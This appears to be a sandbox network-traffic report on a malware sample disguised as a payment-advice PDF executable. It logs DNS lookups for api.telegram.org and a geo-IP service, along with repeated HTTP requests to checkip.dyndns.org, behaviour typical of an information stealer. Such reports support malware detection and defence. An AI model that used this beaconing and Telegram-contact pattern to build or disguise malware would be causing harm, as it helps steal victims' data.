Dec 17, 2024 08:43:06.105846882 CET	1.1.1.1	192.168.2.4	0x9ec4	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:06.105846882 CET	1.1.1.1	192.168.2.4	0x9ec4	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:13.818962097 CET	1.1.1.1	192.168.2.4	0x8443	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:03.577646017 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:04.794939041 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0c4b27f2355c167a7a409c6d0689dee6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 17, 2024 08:43:04.799891949 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 17, 2024 08:43:05.180206060 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: be529f60280440d1188399a601a37c84 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 17, 2024 08:43:13.202642918 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 17, 2024 08:43:13.582544088 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f99c3035fd525b7d4a1e3d55885cff52 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:16.130964994 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 17, 2024 08:43:17.335628986 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cba43254563e97355ce1bd6f6c40b214 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:19.531661987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:20.736805916 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ffe3ef6735f99cb9c37612f5cb974f01 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49772	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:22.933883905 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:24.142376900 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f07514ee46759cd7c0f93f399daa0c1e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49783	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:26.314163923 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:27.522449970 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fda26aadfc279275e2a14734b68c275f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49790	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:29.647578955 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:30.855303049 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4dfc73a1349d7c58f39f7fdde6a61e0c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49800	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:33.088923931 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:34.292960882 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ad4504bbe4eafcea8e3e92ac07b52ebe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49810	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:36.441560030 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:37.644859076 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 605bc873d7f4e843f54ed9abd0127482 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49819	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:39.777172089 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:40.981745958 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aa5212fcd57812a7ca875a1d5e4b254a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49830	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:43.089665890 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:44.294574976 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e4a2755bf4c4430947c8f738d006fee0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49838	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:46.416150093 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:47.623064995 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d9434e12e39df3aedf1d5a65841ff6f0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49849	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:49.729285002 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:50.932688951 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 69a3f4f6efde67c3de49efbfa67a48db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49858	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:53.080987930 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:54.284662962 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 087687ecaac818b9ae560fb792bd51ec Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49867	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:56.405495882 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:43:57.631014109 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:43:57 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 42423a78c4beee9cdb89844593c9b10f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49877	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:43:59.790177107 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:44:00.996728897 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:44:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3f2910cbb488c106f356d0cb01be6eae Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49886	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:44:03.121478081 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:44:04.325215101 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:44:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3ecdded5a93217f095b1c6781da97136 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49896	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:44:06.529033899 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:44:07.736078024 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:44:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 37f96bfc0c3a097ee5a4c62839f24708 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49905	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:44:09.929522038 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:44:11.265780926 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:44:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bb16afaab65b574180cec05f25fa897e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49915	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:44:13.462217093 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 17, 2024 08:44:14.697674990 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 07:44:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 46afb4761d362bcab99940e2ceac5892 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49924	158.101.44.242	80	7788	C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:44:16.907413960 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
